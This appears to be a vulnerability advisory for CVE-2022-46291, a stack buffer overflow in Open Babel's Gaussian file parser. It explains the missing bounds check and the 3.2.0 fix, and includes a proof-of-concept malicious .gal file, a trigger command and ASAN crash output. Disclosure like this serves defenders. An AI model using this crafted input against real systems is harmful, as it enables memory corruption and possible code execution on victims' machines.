high · 7.8CVE-2022-46291Jul 1, 2026

CVE-2022-46291: Open Babel Gaussian Parser Stack Buffer Overflow via translationVectors

Penetration Testing Team Lead, SecureLayer7

A crafted Gaussian output file can write past the end of a 3-element stack array in Open Babel's chemistry file parser, potentially giving an attacker arbitrary code execution.

Packageopenbabel

Ecosystempip

Affected< 3.2.0

Fixed in3.2.0

The problem

Open Babel's Gaussian output reader in gaussformat.cpp declares a fixed-size stack array vector3 translationVectors[3] and an integer counter numTranslationVectors = 0.

When the parser encounters a PeriodicType line, it enters a while loop that reads subsequent lines and writes each one into the array, incrementing the counter with no upper-bound check. An attacker who supplies more than three translation-vector lines pushes writes beyond the array, corrupting adjacent stack memory.

The write lands in vector3::Set() with fully attacker-controlled x, y, z double values, making this a high-quality stack corruption primitive. CVSS 7.8 (local, no privileges required).

Proof of concept

A working proof-of-concept for CVE-2022-46291 in openbabel, with the exact payload below.

bash

# Minimal malicious Gaussian output file (.gal)
# Triggers the OOB write: 4+ PeriodicType vector lines
# exceed the translationVectors[3] stack array bound.

 Entering Link 1 = /fake/l1.exe
 #p hf/sto-3g

 Fake molecule

 Standard orientation:
 ---------------------------------------------------------------------
 Center     Atomic      Atomic             Coordinates (Angstroms)
 Number     Number       Type             X           Y           Z
 ---------------------------------------------------------------------
      1          6           0        0.000000    0.000000    0.000000
 ---------------------------------------------------------------------
PeriodicType 100
 1 2 3 1.000000 2.000000 3.000000
 1 2 3 4.000000 5.000000 6.000000
 1 2 3 7.000000 8.000000 9.000000
 1 2 3 1.100000 2.200000 3.300000
 1 2 3 4.400000 5.500000 6.600000
 1 2 3 7.700000 8.800000 9.900000

# Trigger:
# $ obabel -i gal malicious.gal -o sdf
# => ASAN: stack-buffer-overflow WRITE of size 8
#    in GaussianOutputFormat::ReadMolecule (gaussformat.cpp:635)

The root cause (CWE-787) is the missing bounds check on numTranslationVectors before indexing into translationVectors[numTranslationVectors++]. The loop exits only when EOF is reached or a line has fewer than 6 tokens, so an attacker can keep supplying 6-token lines indefinitely.

Each overflowing write calls vector3::Set(x, y, z) with values parsed directly from attacker-supplied tokens via atof(), giving full control over the written doubles. Depending on the stack layout and compiler, this can overwrite saved frame pointers or return addresses.

The patch (commit 40e85213) adds a guard if (numTranslationVectors < 3) (or equivalent) before the write, breaking the unbounded loop as soon as the array is full.

The fix

Upgrade to Open Babel 3.2.0 (released 2026-05-26), which includes commit 40e85213 adding the missing array-bounds check before every translationVectors[numTranslationVectors++] write in the Gaussian, MSI, MOPAC, and MOPAC-IN readers. No workaround exists for older versions other than refusing to parse untrusted .gal / .g09 / .g16 files.

Reported by Cisco Talos Intelligence Group.

References: [1][2][3][4][5][6]

Related research